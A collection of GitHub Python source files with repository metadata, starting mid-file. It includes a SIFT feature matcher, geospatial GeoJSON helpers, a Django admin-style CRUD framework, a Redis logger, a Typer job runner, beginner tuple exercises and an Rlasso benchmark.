distances[row, :] = np.inf\r\n    return matches\r\n\r\n\r\nif __name__ == '__main__':\r\n    n_scale = 3\r\n    n_octave = 5\r\n    sigma0 = 1.6\r\n    contrast_threshold = 0.04\r\n    nms_size = (3, 3, 3)    # The patch size (num_scale, height, width) to find local maxima\r\n    rescale_factor = 0.2    # Rescale the original image for efficiency\r\n\r\n    img_dir = 'images'\r\n    save_dir = 'results'\r\n    os.makedirs(save_dir, exist_ok=True)\r\n\r\n    img_files = sorted(os.listdir(img_dir))[:2]\r\n    imgs = []\r\n    img_descriptors = []\r\n    img_keypoints = []\r\n    # Apply detector and descriptor on two images\r\n    for img_file in img_files:\r\n        img = cv2.imread(os.path.join(img_dir, img_file))\r\n        img_h, img_w = img.shape[:2]\r\n        img = cv2.resize(img, (int(rescale_factor*img_w), int(rescale_factor*img_h)))\r\n        imgs.append(img)\r\n        img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY).astype(np.float32)\r\n\r\n        # SIFT detector and descriptor\r\n        pyramid, dog_pyramid = DoG_pyramid(img_gray, n_scale, n_octave, sigma0)\r\n        keypoints = select_keypoints(dog_pyramid, contrast_threshold, nms_size)\r\n        img_keypoints.append(np.concatenate(keypoints, axis=0)[:, 1:])\r\n        descriptors = describe_keypoints(pyramid, keypoints)\r\n        img_descriptors.append(descriptors)\r\n\r\n    # Keypoint matching between two images\r\n    matches = match_descriptors(img_descriptors[1], img_descriptors[0])\r\n    # Visualize matching\r\n    match_vis = np.concatenate(imgs, axis=1)\r\n    for keypoint_id, match in enumerate(matches):\r\n        if match > 0:\r\n            keypoint1 = img_keypoints[0][match]\r\n            keypoint2 = img_keypoints[1][keypoint_id]\r\n            keypoint2[1] += imgs[0].shape[1]\r\n            cv2.drawMarker(match_vis, (int(keypoint1[1]), int(keypoint1[0])), (0, 0, 255),\r\n                           cv2.MARKER_TILTED_CROSS, markerSize=5, thickness=1)\r\n            cv2.drawMarker(match_vis, (int(keypoint2[1]), int(keypoint2[0])), (0, 0, 255),\r\n                           cv2.MARKER_TILTED_CROSS, markerSize=5, thickness=1)\r\n            cv2.line(match_vis, (int(keypoint1[1]), int(keypoint1[0])),\r\n                     (int(keypoint2[1]), int(keypoint2[0])), (0, 255, 0), 1)\r\n    cv2.imwrite(os.path.join(save_dir, 'match_vis.jpg'), match_vis)","repo_name":"Szy-Young/Notes","sub_path":"UZH-DINF2039 - Vision Algorithms for Mobile Robotics/Exercise/Solution4_SIFT/sift_tracker.py","file_name":"sift_tracker.py","file_ext":"py","file_size_in_byte":5401,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"72818382135","text":"from typing import Optional, Tuple, Union, Dict, Any, List\n\nimport affine\nimport numpy as np\nimport pandas as pd\nimport rasterio.features\nimport shapely.geometry\nimport shapely.geometry\nimport xarray as xr\n\nBounds = Tuple[float, float, float, float]\nSplitBounds = Tuple[Bounds, Optional[Bounds]]\n\n\ndef get_dataset_geometry(dataset: Union[xr.Dataset, xr.DataArray]) -> shapely.geometry.base.BaseGeometry:\n    return get_box_split_bounds_geometry(*get_dataset_bounds(dataset))\n\n\ndef get_dataset_bounds(dataset: Union[xr.Dataset, xr.DataArray]) -> Bounds:\n    lon_var = dataset.coords.get(\"lon\")\n    lat_var = dataset.coords.get(\"lat\")\n    if lon_var is None:\n        raise ValueError('Missing coordinate variable \"lon\"')\n    if lat_var is None:\n        raise ValueError('Missing coordinate variable \"lat\"')\n\n    lon_bnds_name = lon_var.attrs[\"bounds\"] if \"bounds\" in lon_var.attrs else \"lon_bnds\"\n    if lon_bnds_name in dataset.coords:\n        lon_bnds_var = dataset.coords[lon_bnds_name]\n        lon_min = lon_bnds_var[0][0]\n        lon_max = lon_bnds_var[-1][1]\n    else:\n        lon_min = lon_var[0]\n        lon_max = lon_var[-1]\n        delta = min(abs(np.diff(lon_var)))\n        lon_min -= 0.5 * delta\n        lon_max += 0.5 * delta\n\n    lat_bnds_name = lat_var.attrs[\"bounds\"] if \"bounds\" in lat_var.attrs else \"lat_bnds\"\n    if lat_bnds_name in dataset.coords:\n        lat_bnds_var = dataset.coords[lat_bnds_name]\n        lat1 = lat_bnds_var[0][0]\n        lat2 = lat_bnds_var[-1][1]\n        lat_min = min(lat1, lat2)\n        lat_max = max(lat1, lat2)\n    else:\n        lat1 = lat_var[0]\n        lat2 = lat_var[-1]\n        delta = min(abs(np.diff(lat_var)))\n        lat_min = min(lat1, lat2) - 0.5 * delta\n        lat_max = max(lat1, lat2) + 0.5 * delta\n\n    return float(lon_min), float(lat_min), float(lon_max), float(lat_max)\n\n\ndef get_box_split_bounds(lon_min: float, lat_min: float,\n                         lon_max: float, lat_max: float) -> SplitBounds:\n    if lon_max >= lon_min:\n        return (lon_min, lat_min, lon_max, lat_max), None\n    else:\n        return (lon_min, lat_min, 180.0, lat_max), (-180.0, lat_min, lon_max, lat_max)\n\n\ndef get_box_split_bounds_geometry(lon_min: float, lat_min: float,\n                                  lon_max: float, lat_max: float) -> shapely.geometry.base.BaseGeometry:\n    box_1, box_2 = get_box_split_bounds(lon_min, lat_min, lon_max, lat_max)\n    if box_2 is not None:\n        return shapely.geometry.MultiPolygon(polygons=[shapely.geometry.box(*box_1), shapely.geometry.box(*box_2)])\n    else:\n        return shapely.geometry.box(*box_1)\n\n\ndef get_geometry_mask(width: int, height: int,\n                      geometry: Union[shapely.geometry.base.BaseGeometry, Dict],\n                      lon_min: float, lat_min: float, res: float) -> np.ndarray:\n    # noinspection PyTypeChecker\n    transform = affine.Affine(res, 0.0, lon_min,\n                              0.0, -res, lat_min + res * height)\n    return rasterio.features.geometry_mask([geometry],\n                                           out_shape=(height, width),\n                                           transform=transform,\n                                           all_touched=True,\n                                           invert=True)\n\n\ndef timestamp_to_iso_string(time: np.datetime64, freq='S'):\n    \"\"\"\n    Convert a UTC timestamp given as nanos, millis, seconds, etc. since 1970-01-01 00:00:00\n    to an ISO-format string.\n\n    :param time: UTC timestamp given as time delta since since 1970-01-01 00:00:00 in the units given by\n           the numpy datetime64 type, so it can be as nanos, millis, seconds since 1970-01-01 00:00:00.\n    :param freq: time rounding resolution. See pandas.Timestamp.round().\n    :return: ISO-format string.\n    \"\"\"\n    # All times are UTC (Z = Zulu Time Zone = UTC)\n    return pd.Timestamp(time).round(freq).isoformat() + 'Z'\n\n\nclass GeoJSON:\n    PRIMITIVE_GEOMETRY_TYPES = {\"Point\", \"LineString\", \"Polygon\",\n                                \"MultiPoint\", \"MultiLineString\", \"MultiPolygon\"}\n    GEOMETRY_COLLECTION_TYPE = \"GeometryCollection\"\n    FEATURE_TYPE = \"Feature\"\n    FEATURE_COLLECTION_TYPE = \"FeatureCollection\"\n\n    @classmethod\n    def is_geometry(cls, obj: Any) -> bool:\n        type_name = cls.get_type_name(obj)\n        if type_name in cls.PRIMITIVE_GEOMETRY_TYPES:\n            if \"coordinates\" not in obj:\n                return False\n            coordinates = obj[\"coordinates\"]\n            return coordinates is None or isinstance(coordinates, list)\n        if type_name == cls.GEOMETRY_COLLECTION_TYPE:\n            if \"geometries\" not in obj:\n                return False\n            geometries = obj[\"geometries\"]\n            return geometries is None or isinstance(geometries, list)\n        return False\n\n    @classmethod\n    def get_geometry_collection_geometries(cls, obj: Any) -> Optional[List[Dict]]:\n        type_name = cls.get_type_name(obj)\n        if type_name == cls.GEOMETRY_COLLECTION_TYPE:\n            if \"geometries\" not in obj:\n                return None\n            geometries = obj[\"geometries\"]\n            if geometries is None:\n                return []\n            if isinstance(geometries, list):\n                return geometries\n            return None\n        return None\n\n    @classmethod\n    def get_feature_collection_features(cls, obj: Any) -> Optional[List[Dict]]:\n        type_name = cls.get_type_name(obj)\n        if type_name == cls.FEATURE_COLLECTION_TYPE:\n            if \"features\" not in obj:\n                return None\n            features = obj[\"features\"]\n            if features is None:\n                return []\n            if isinstance(features, list):\n                return features\n            return None\n        return None\n\n    @classmethod\n    def get_feature_geometry(cls, obj: Any) -> Optional[Dict]:\n        type_name = cls.get_type_name(obj)\n        if type_name == cls.FEATURE_TYPE:\n            if \"geometry\" not in obj:\n                return None\n            geometry = obj[\"geometry\"]\n            if cls.is_geometry(geometry):\n                return geometry\n            return None\n        return None\n\n    @classmethod\n    def get_type_name(cls, obj: Any) -> Optional[str]:\n        if not isinstance(obj, dict) or \"type\" not in obj:\n            return None\n        if \"type\" not in obj:\n            return None\n        return obj[\"type\"] or None\n","repo_name":"dcs4cop/xcube-server","sub_path":"xcube_server/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6384,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"27680113858","text":"#accessing the elements in tuple\r\n\r\nt1=(1,2,3,4,5)\r\nt2=(5,6,7,8,9)\r\nprint(t1[0])\r\nprint(t2[0])\r\n\r\n\r\n#updating the elements in tuple\r\n\r\nt1=(1,2,3,4,5)\r\nt2=(6,7,8,9)\r\nt3=t1+t2\r\nprint(t3)\r\n\r\n#deleting the elements of the tuple\r\n#pass the elements in tuple\r\nt2=(5,6,7,8,9)\r\nl=[]\r\nfor i in t2:\r\n    l.append(i)\r\nl.remove(l[2])\r\nt=tuple(l)\r\nprint(t)\r\n\r\n#built in function in tuples\r\n\r\nt1=(5,6,7,8,9)\r\nt2=(1,2,3,4,0)\r\nprint(min(t1))\r\n\r\n#set operation on tuples like union,intersection,difference\r\n\r\n#union of two tuples\r\nt1=(1,2,3,4,5)\r\nt2=(6,7,8,9,0)\r\nfor i in t2:\r\n    if i not in t1:\r\n        t1=t1+t2\r\nprint(t1)\r\n\r\n#intersection of two tuples\r\n\r\nt1=(1,2,3,4,5)\r\nt2=(6,7,5,8,3)\r\nl=[]\r\nfor i in t1:\r\n    if i in t2:\r\n       l.append(i)\r\n       t=tuple(l)\r\nprint(t)\r\n\r\n       \r\n\r\n\r\n\r\n","repo_name":"sanidhya12345/paper_solution","sub_path":"tuples.py","file_name":"tuples.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"245592111","text":"from flask import Flask\nfrom flask import Response\n\napp = Flask(__name__)\n\n# Example JSON output with a content-type header (via mimetype)\n@app.route('/')\ndef hello_world():\n    jsonBody = '{\"examplePayload\":1}'\n    return Response(jsonBody, mimetype='text/json')\n","repo_name":"jscherma/Projector","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9958439669","text":"from django.shortcuts import HttpResponse,render,redirect\nfrom django.utils.safestring import mark_safe\nfrom django.urls import reverse\nfrom django.forms import ModelForm\nimport copy\n\nfrom ..utils.page import Pagination\n\nclass ChangeList(object):\n    \"\"\"\n    专门助理列表页面所有的功能\n    \"\"\"\n    def __init__(self,config,queryset): # self,queryset\n        self.config = config  # 其实就是aryaconfig对象\n\n        self.q_value = config.request.GET.get('q','')\n\n        self.list_display = config.get_list_display()\n        self.show_add = config.get_show_add()\n        self.add_url = config.reverse_add_url()\n        self.search_list = config.get_search_list()\n        self.actions = config.get_actions()\n\n\n        # 处理分页数据\n        request = config.request\n        query_params = copy.deepcopy(request.GET) # QueryDict\n        current_page = request.GET.get('page',1)\n        per_page = config.per_page\n        pager_page_count = config.pager_page_count\n        all_count = queryset.count()\n        base_url = config.reverse_list_url()\n        # print('base_url',base_url)\n        page_obj = Pagination(current_page,all_count,base_url,query_params,per_page,pager_page_count)\n        self.queryset = queryset[page_obj.start:page_obj.end] # 利用了前端进行分页处理(修改为后端分页)\n        self.page_html = page_obj.page_html() # 利用了前端进行分页处理(修改为后端分页)\n\n    def table_header(self):\n        data = []\n        for str_func in self.list_display:\n            if isinstance(str_func, str):\n                val = self.config.model_class._meta.get_field(str_func).verbose_name\n            else:\n                val = str_func(self.config, is_header=True)\n            data.append(val)\n        return data\n\n    def table_body(self):\n        table_data = []\n        for obj in self.queryset:\n            row = []\n            for str_func in self.list_display:\n                if isinstance(str_func, str):\n                    col = getattr(obj, str_func)\n                else:\n                    col = str_func(self.config, obj)\n                row.append(col)\n            table_data.append(row)\n\n        return table_data\n\n    def action_options(self):\n        data = []\n        for func in self.actions:\n            temp = {'value':func.__name__, 'text':func.text}\n            data.append(temp)\n        return data\n\n\nclass AryaConfig(object):\n\n    # 1. 列表显示列相关\n    list_display = []\n\n    def get_list_display(self):\n        result = []\n        result.extend(self.list_display)\n        # 如果有编辑权限\n        result.append(AryaConfig.row_edit)\n        # 如果有删除权限\n        result.append(AryaConfig.row_del)\n\n        result.insert(0,AryaConfig.row_checkbox)\n\n        return result\n\n    def row_del(self,row=None,is_header=None):\n        if is_header:\n            return '删除'\n        # return row.name + row.email+str(row.id)\n        # 生成删除URL\n        # app01_userinfo_delete\n        app = self.model_class._meta.app_label\n        md = self.model_class._meta.model_name\n        name = \"arya:%s_%s_delete\" %(app,md,) # arya:app01_userinfo_delete\n        url = reverse(viewname=name,args=(row.id,))\n        # url_param = self.request.GET.get('_getarg')  # 获取前一个页面的页码\n        return mark_safe(\"<a href='{0}' class='btn btn-danger btn-xs'><i class='fa fa-trash'></i>删除</a>\".format(url))\n\n    def row_edit(self,row=None,is_header=None):\n        if is_header:\n            return '编辑'\n        # return row.name + row.email+str(row.id)\n        # 生成删除URL\n        # app01_userinfo_delete\n        app = self.model_class._meta.app_label\n        md = self.model_class._meta.model_name\n        name = \"arya:%s_%s_change\" %(app,md,) # arya:app01_userinfo_delete\n        url = reverse(viewname=name,args=(row.id,))\n        # url_param = self.request.GET.get('_getarg')  # 获取前一个页面的页码\n        return mark_safe(\"<a href='{0}' class='btn btn-success btn-xs'><i class='fa fa-file-text'></i>编辑</a>\".format(url))\n\n    def row_checkbox(self,row=None,is_header=None):\n        if is_header:\n            return '选择'\n        return mark_safe(\"<input class='checkbox checkbox-info' type='checkbox' name='pk' value='{0}'/>\".format(row.id))\n\n    # 2. 添加按钮相关\n    show_add = True\n    def get_show_add(self):\n        # 如果有增加权限，否则返回False\n        return self.show_add\n\n\n\n    # 3. ModelForm\n    model_form_class = None\n\n    def get_model_form_class(self):\n        if self.model_form_class:\n            return self.model_form_class\n\n        class DynamicModelForm(ModelForm):\n            class Meta:\n                model = self.model_class\n                fields = \"__all__\"\n\n        return DynamicModelForm\n\n    # 4. 模糊搜索\n    search_list = []\n\n    def get_search_list(self):\n        rest = []\n        rest.extend(self.search_list)\n        return rest\n\n    # 5. 分页配置\n    # 每页显示5条数据\n    per_page = 10\n    # 页面上最多显示的页面个数\n    pager_page_count = 11\n\n    # 6. Action\n    actions = []\n\n    def get_actions(self):\n        result = []\n        result.extend(self.actions)\n        return result\n\n\n    def __init__(self,model_class,site):\n        self.model_class = model_class\n        self.site = site\n    @property\n    def urls(self):\n        from django.conf.urls import url, include\n        #self.model_class # UserInfo,UserGroup\n        app = self.model_class._meta.app_label\n        md = self.model_class._meta.model_name\n        partterns = [\n            url(r'^$', self.changelist_view,name=\"%s_%s_list\" %(app,md,)),\n            url(r'^add/', self.add_view,name=\"%s_%s_add\" %(app,md,)),\n            url(r'^(\\d+)/change/', self.change_view,name=\"%s_%s_change\" %(app,md,)),\n            url(r'^(\\d+)/delete/', self.delete_view,name=\"%s_%s_delete\" %(app,md,)),\n        ]\n        partterns += self.extra_url()\n        return partterns\n\n    def extra_url(self):\n        return []\n\n    def reverse_add_url(self):\n        app = self.model_class._meta.app_label\n        md = self.model_class._meta.model_name\n        name = \"arya:%s_%s_add\" % (app, md,)  # arya:app01_userinfo_delete\n        url = reverse(viewname=name)\n        return url\n\n    def reverse_list_url(self):\n        app = self.model_class._meta.app_label\n        md = self.model_class._meta.model_name\n        name = \"arya:%s_%s_list\" % (app, md,)  # arya:app01_userinfo_delete\n        url = reverse(viewname=name)\n        return url\n\n    def changelist_view(self,request):\n\n        # UserInfoConfig对象 =  self\n        # UserTypeConfig对�� =  self\n        self.request = request\n        if request.method == \"POST\":\n            action_item_name = request.POST.get('select_ac') # multi_init /multi_delete\n            if action_item_name:\n                func = getattr(self,action_item_name)\n                func(request)\n\n        from django.db.models import Q\n        condition = Q()\n        search_q = request.GET.get('q')\n        search_list = self.get_search_list() # [name__contains,pwd]\n\n        if search_q and search_list:\n            for field in search_list:\n                temp = Q()\n                convert_type = field.get('type')\n                if convert_type:\n                    try:\n                        search_q = convert_type(search_q)\n                    except Exception as e:\n                        continue\n                temp.children.append((field.get('k'),search_q))\n                condition.add(temp,'OR')\n\n        queryset = self.model_class.objects.filter(condition)\n\n        cl = ChangeList(self,queryset)\n\n        from django.http.request import QueryDict\n        url_obj = QueryDict(mutable=True)\n        url_obj['_getarg'] = request.GET.urlencode()\n        # print(url_obj.urlencode())\n        url_param = url_obj.urlencode()\n\n        return render(request,'arya/changelist.html',{'cl':cl,'url_param':url_param})\n\n    def add_view(self,request):\n        self.request = request\n        # self.model_class/ userinfo\n        # self.model_class/ usertype\n        model_form_cls = self.get_model_form_class()\n        url_param = request.GET.get('_getarg')  # 获取前一个页面的页码\n        red_url = self.reverse_list_url() + '?' + url_param # 返回列表的url(由列表url+?+page=拼接)\n        if request.method == \"GET\":\n            form = model_form_cls()\n            return render(request,'arya/add_view.html',{'form':form,'red_url':red_url})\n        else:\n            form = model_form_cls(data=request.POST)\n            if form.is_valid():\n                form.save()\n                # 反向生成URL，跳转回列表页面\n                return redirect(red_url)\n            return render(request, 'arya/add_view.html', {'form': form,'red_url':red_url})\n\n    def change_view(self,request,nid):\n        self.request = request\n        obj = self.model_class.objects.filter(pk=nid).first()\n        # url_param = request.GET.get('_getarg')  # 获取前一个页面的页码\n        red_url = self.reverse_list_url() # + '?' + url_param # 返回列表的url(由列表url+?+page=拼接)\n        if not obj:\n            return redirect(red_url)\n\n        model_form_cls = self.get_model_form_class()\n        if request.method == 'GET':\n            # 在Input框中显示默认值\n            form = model_form_cls(instance=obj)\n            return render(request,'arya/change_view.html',{'form':form,'red_url':red_url})\n        else:\n            form = model_form_cls(instance=obj,data=request.POST)\n            if form.is_valid():\n                form.save()\n                return redirect(self.reverse_list_url())\n            return render(request, 'arya/change_view.html', {'form': form,'red_url':red_url})\n\n    def delete_view(self,request,nid):\n        self.request = request\n        # url_param = request.GET.get('_getarg')  # 获取前一个页面的页码\n        red_url = self.reverse_list_url() # + '?' + url_param  # 返回列表的url(由列表url+?+page=拼接)\n        obj = self.model_class.objects.filter(id=nid).first()\n        if not obj:\n            return redirect(red_url)\n        if request.method == \"GET\":\n            return render(request,'arya/delete_view.html',{'red_url':red_url})\n        else:\n            obj.delete()\n            return redirect(red_url)\n\nclass AryaSite(object):\n    def __init__(self):\n        self._registry = {}\n\n    def register(self,class_name,config_class):\n        \"\"\"\n        self._registry = {\n            models.UserInfo: obj1 = AryaConfig(models.UserInfo,site),\n            models.UserType: obj2 = AryaConfig(models.UserType,site),\n        }\n        :param class_name:\n        :param config_class:\n        :return:\n        \"\"\"\n        self._registry[class_name] = config_class(class_name,self)\n    @property\n    def urls(self):\n        from django.conf.urls import url, include\n        partterns = [\n            url(r'^login/', self.login),\n            url(r'^logout/', self.logout),\n        ]\n\n        for model_class,arya_config_obj in self._registry.items():\n            #print(model_class,arya_config_obj,   model_class._meta.app_label,model_class._meta.model_name,)\n            # /app01/userinfo/\n            # /app01/usertype/\n            app_model_name = r'^{0}/{1}/'.format(model_class._meta.app_label,model_class._meta.model_name)\n            pt = url(app_model_name, (arya_config_obj.urls,None,None))\n            partterns.append(pt)\n\n        return partterns\n\n    def login(self,request):\n        from django.shortcuts import HttpResponse\n        return HttpResponse('Login')\n\n    def logout(self,request):\n        from django.shortcuts import HttpResponse\n        return HttpResponse('Logout')\n\nsite = AryaSite()","repo_name":"wqqsukida/wcrm","sub_path":"arya/service/v1.py","file_name":"v1.py","file_ext":"py","file_size_in_byte":11724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"472555485","text":"import redis\nimport requests\nimport json\n\ndef redis_close(thread=None, controller=None):\n    print()\n    print(' * Central logging system shutting down')\n    print()\n#    if not thread == None\\\n#    and not controller == None:\n#        controller.log('Closing background thread.')\n#    else:\n#        controller.log('Thread was none!')\n\n\ndef redis_processor(control_object=None):\n    __redis = {'host':'localhost', 'port':6379, 'db':0}\n    redis_instance = redis.StrictRedis(**__redis)\n    redis_pubsub = redis_instance.pubsub()\n    redis_pubsub.subscribe('central_logger')\n\n    for message in redis_pubsub.listen():\n        if message['type'].upper() == 'MESSAGE':\n            message_data = message['data']\n            message_fields = message['data'].decode('utf-8').split('<<*>>', 5)\n\n            try:\n                sender = message_fields[0]\n                log_type = message_fields[1]\n                text = message_fields[2]\n                timestamp = message_fields[3]\n\n                control_object.log(sender=sender,\n                                   log_type=log_type,\n                                   message=text,\n                                   timestamp=timestamp)\n\n            except Exception as e:\n                print(repr(e))\n\n","repo_name":"davidjsanders/studyWork","sub_path":"v1_00/Logger/Logger/Logging_Processor.py","file_name":"Logging_Processor.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"42932037342","text":"# -*- coding: utf-8 -*-\n\"\"\"\n利用Apriori算法进行关联规则分析\n\"\"\"\nimport pandas as pd\nfrom apriori import *\n\nif __name__ == '__main__':\n    # 根据离散化处理的文件\n    inputFile = './data/apriori.txt'\n    data = pd.read_csv(inputFile, header=None, dtype=object)\n    print('\\n转换原始数据至0-1矩阵...')\n    # 转换0-1矩阵的过渡函数\n    ct = lambda x: pd.Series(1, index=x[pd.notnull(x)])\n    b = map(ct, data.values)\n    # 实现矩阵转换，空值用0填充\n    data = pd.DataFrame(list(b)).fillna(0)\n    # 删除中间变量b，节省内存\n    del b\n    # 最小支持度\n    support = 0.06\n    # 最小置信度\n    confidence = 0.75\n    ms = '---'\n    print('\\n开始搜索关联规则...')\n    find_rule(data, support, confidence, ms)\n\n","repo_name":"luanshiyinyang/DataMining","sub_path":"实战项目/中医证型关联规则挖掘/Apriori建模分析.py","file_name":"Apriori建模分析.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"zh","doc_type":"code","stars":237,"dataset":"github-code","pt":"22"}
+{"seq_id":"13039702865","text":"#!/usr/bin/env python\nimport os\nimport sys\nimport pkgutil\nfrom typing import List\nimport typer\nfrom loguru import logger\nfrom rich.console import Console\nfrom rich.table import Table\nfrom controller.job.typer_callback import job_context_callback, worker_count_callback\nfrom controller.job.util import Timer\nfrom controller.job.process_executor import single_process, multi_process\nfrom model.appmodel.job_plan import JobPlan\nfrom settings import Settings\nimport job\nfor _, name, _ in pkgutil.iter_modules([os.path.dirname(job.__file__)]):\n    exec(f\"from job.{name} import *\")\n\n\napp = typer.Typer(\n    pretty_exceptions_short=False,\n    # Check before release\n    pretty_exceptions_enable=os.getenv(\n        \"TYPER_PRETTY_EXCEPTIONS\", \"True\"\n    ) == \"True\",\n)\nconsole = Console()\njob_timer = Timer()\n\nlogger_format = (\n    \"<green>{time:YYYY-MM-DD HH:mm:ss.SSS}</green>|\"\n    \"<level>{level: <8}</level>|\"\n    \"<cyan>{name}</cyan>:<cyan>{function}</cyan>:<cyan>{line}</cyan>|\"\n    \" <level>{message}</level>\"\n)\nlogger.remove()\nlogger.add(\n    sys.stdout, \n    format=logger_format, \n    filter= lambda x: x[\"level\"].name != \"ERROR\"\n)\nlogger.add(sys.stderr, format=logger_format, level=\"ERROR\")\n\n\n@app.command()\ndef run(\n    job_context: List[str] = typer.Argument(\n        ..., help=\"Job Context\",\n        callback=job_context_callback\n    ),\n    workers: int = typer.Option(\n        0, help=\"Number of workers, (0=auto)\",\n        callback=worker_count_callback\n    ),\n    verbose: bool = typer.Option(True, help=\"Verbose mode\"),\n    timer: bool = typer.Option(True, help=\"Timer mode\"),\n):\n    \"\"\"\n    # Job Context Sample\n    > run Job:HelloWorld arg1 arg2 kwarg1=value1 kwarg2=value2\n    \"\"\"\n    job_plans: List[JobPlan] = job_context\n    settings = Settings()\n    for plan in job_plans:\n        try:\n            plan.job = eval(plan.name)(settings)\n        except NameError as e:\n            logger.error(f\"Job[{plan.name}] is not found.\")\n            raise typer.Abort()\n\n    if len(job_plans) == 0:\n        logger.error(\"No job is found.\")\n        raise typer.Abort()\n\n    if workers > len(job_plans):\n        if verbose:\n            logger.opt(colors=True).info(\n                f\"<yellow>workers({workers})</yellow> is greater than number of jobs. \"\n                f\"<yellow>Set to {len(job_plans)}</yellow>.\"\n            )\n        workers = len(job_plans)\n\n    job_timer.enabled = timer\n    if workers < 2:\n        single_process(job_plans, job_timer, verbose)\n    else:\n        multi_process(workers, job_plans, job_timer, verbose)\n\n    if verbose and timer:\n        logger.opt(colors=True).info(\n            \"Total elapsed time: \"\n            f\"<blue>{job_timer.elapsed:.3f} seconds</blue>.\",\n        )\n\n\n@app.command()\ndef job_info():\n    table = Table(\"Name\", \"Path\")\n    for path, name, _ in pkgutil.iter_modules([os.path.dirname(job.__file__)]):\n        table.add_row(f\"job.{name}\", f\"{os.path.dirname(job.__file__)}/{name}\")\n    console.print(table)\n\n\nif __name__ == \"__main__\":\n    app()\n","repo_name":"iml1111/IMJob","sub_path":"IMJob/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20902161114","text":"def duplicate(a):\n    return a\na = []\nn = int(input(\"Enter Number of Elements in an array:\"))\nfor i in range(n):\n    b= int(input())\n    a.insert(i,b)\nprint(\"Original array:\")\nprint(a)\nc = duplicate(a)\nprint(\"Duplicate array:\")\nprint(c)","repo_name":"Rjayaprakashnarayana/PrintName","sub_path":"excercise4/4.6cparr.py","file_name":"4.6cparr.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7356144345","text":"import time\nfrom collections import defaultdict\n\nimport numpy as np\nimport pandas as pd\nfrom rlassomodels import Rlasso, RlassoPDS\nfrom scipy.linalg import toeplitz\nfrom tqdm import tqdm\n\n\ndef DGP(seed, design=1, n=100, p=200, alpha=0.5, rho=0.5, R21=0.5, R22=0.5):\n\n    assert design in (1, 2, 3, 4)\n\n    # gererate toeplitz matrix\n    rng = np.random.default_rng(seed=seed)\n    cov_mat = toeplitz(rho ** np.arange(p))\n    X = rng.multivariate_normal(np.zeros(p), cov_mat, n)\n\n    # beta = np.zeros(p)\n\n    # all quadratic decay\n    if design == 1:\n        beta = 1 / np.arange(1, p + 1) ** 2\n\n    # quadratic j < 5, rest random with decaying var\n    elif design == 2:\n        beta = np.zeros(p)\n        beta[:5] = 1 / np.arange(1, 6) ** 2\n        beta[5:] = rng.normal(scale=1 / np.arange(1, p - 4), size=(p - 5))\n    # constant coefs\n    elif design == 3:\n        beta = np.zeros(p)\n        beta[1:2:40] = 1\n\n    # linear + quadratic\n    elif design == 4:\n        beta = np.zeros(p)\n        beta[:5] = 1 / np.arange(1, 6)\n        beta[5:15] = 1 / np.arange(1, 11) ** 2\n\n    sand = np.inner(beta, cov_mat) @ beta\n\n    # c1 to achive desired R2 of first stage\n    c1 = np.sqrt(R21 / ((1 - R21) * sand))\n\n    # c2 to achive desired R2 of second stage\n    a = (1 - R22) * sand\n    b = 2 * (1 - R22) * alpha * c1 * sand\n    c = (1 - R22) * ((alpha * c1) ** 2) * sand - R22 * (alpha**2 + 2)\n    disc = b**2 - 4 * a * c\n\n    if np.abs(disc) < 1e-12:\n        disc = 0\n    c2 = (-b + np.sqrt(disc)) / (2 * a)\n\n    beta1 = c1 * beta\n    beta2 = c2 * beta\n\n    e = rng.normal(size=n)\n    u = rng.normal(size=n)\n\n    d = X @ beta1 + e\n    y = alpha * d + X @ beta2 + u\n\n    # cols = [\"y\", \"d\"] + [f\"x{i}\" for i in range(1,p+1)]\n\n    return y, d, X\n\n\ndef runtime_benchmark():\n\n    # define dimensions (n,p) for sims\n    dims = [\n        (100, 50),\n        (100, 110),\n        (250, 125),\n        (250, 260),\n        (500, 250),\n        (500, 510),\n        (1000, 500),\n        (1000, 1010),\n    ]\n\n    models = {\n        \"Rlasso\": Rlasso(),\n        \"Rlasso xdep\": Rlasso(x_dependent=True, n_sim=1000, solver=\"cvxpy\"),\n        \"Sqrt-Rlasso\": Rlasso(sqrt=True, solver=\"cvxpy\"),\n        \"Sqrt-Rlasso xdep\": Rlasso(\n            sqrt=True, x_dependent=True, n_sim=1000, solver=\"cvxpy\"\n        ),\n        \"PDS\": RlassoPDS(solver=\"cvxpy\"),\n        \"PDS xdep\": RlassoPDS(x_dependent=True, n_sim=1000, solver=\"cvxpy\"),\n        \"PDS Sqrt\": RlassoPDS(sqrt=True, solver=\"cvxpy\"),\n        \"PDS Sqrt xdep\": RlassoPDS(\n            sqrt=True, x_dependent=True, n_sim=1000, solver=\"cvxpy\"\n        ),\n    }\n\n    results = defaultdict(list)\n    pbar = tqdm(total=len(dims))\n    for i, (n, p) in enumerate(dims):\n        pbar.update()\n\n        y, d, X = DGP(seed=i, design=2, n=n, p=p, alpha=0.5, rho=0.5, R21=0.5, R22=0.5)\n\n        for name, model in models.items():\n\n            pbar.set_description(f\"n={n}, p={p}, model={name}\")\n\n            if \"PDS\" in name:\n                start = time.time()\n                model.fit(X, y, d)\n            else:\n                start = time.time()\n                model.fit(X, y)\n            rt = time.time() - start\n            results[f\"{n},{p}\"].append(rt)\n\n    return pd.DataFrame(results, index=list(models)).round(3)\n\n\nif __name__ == \"__main__\":\n    results = runtime_benchmark()\n    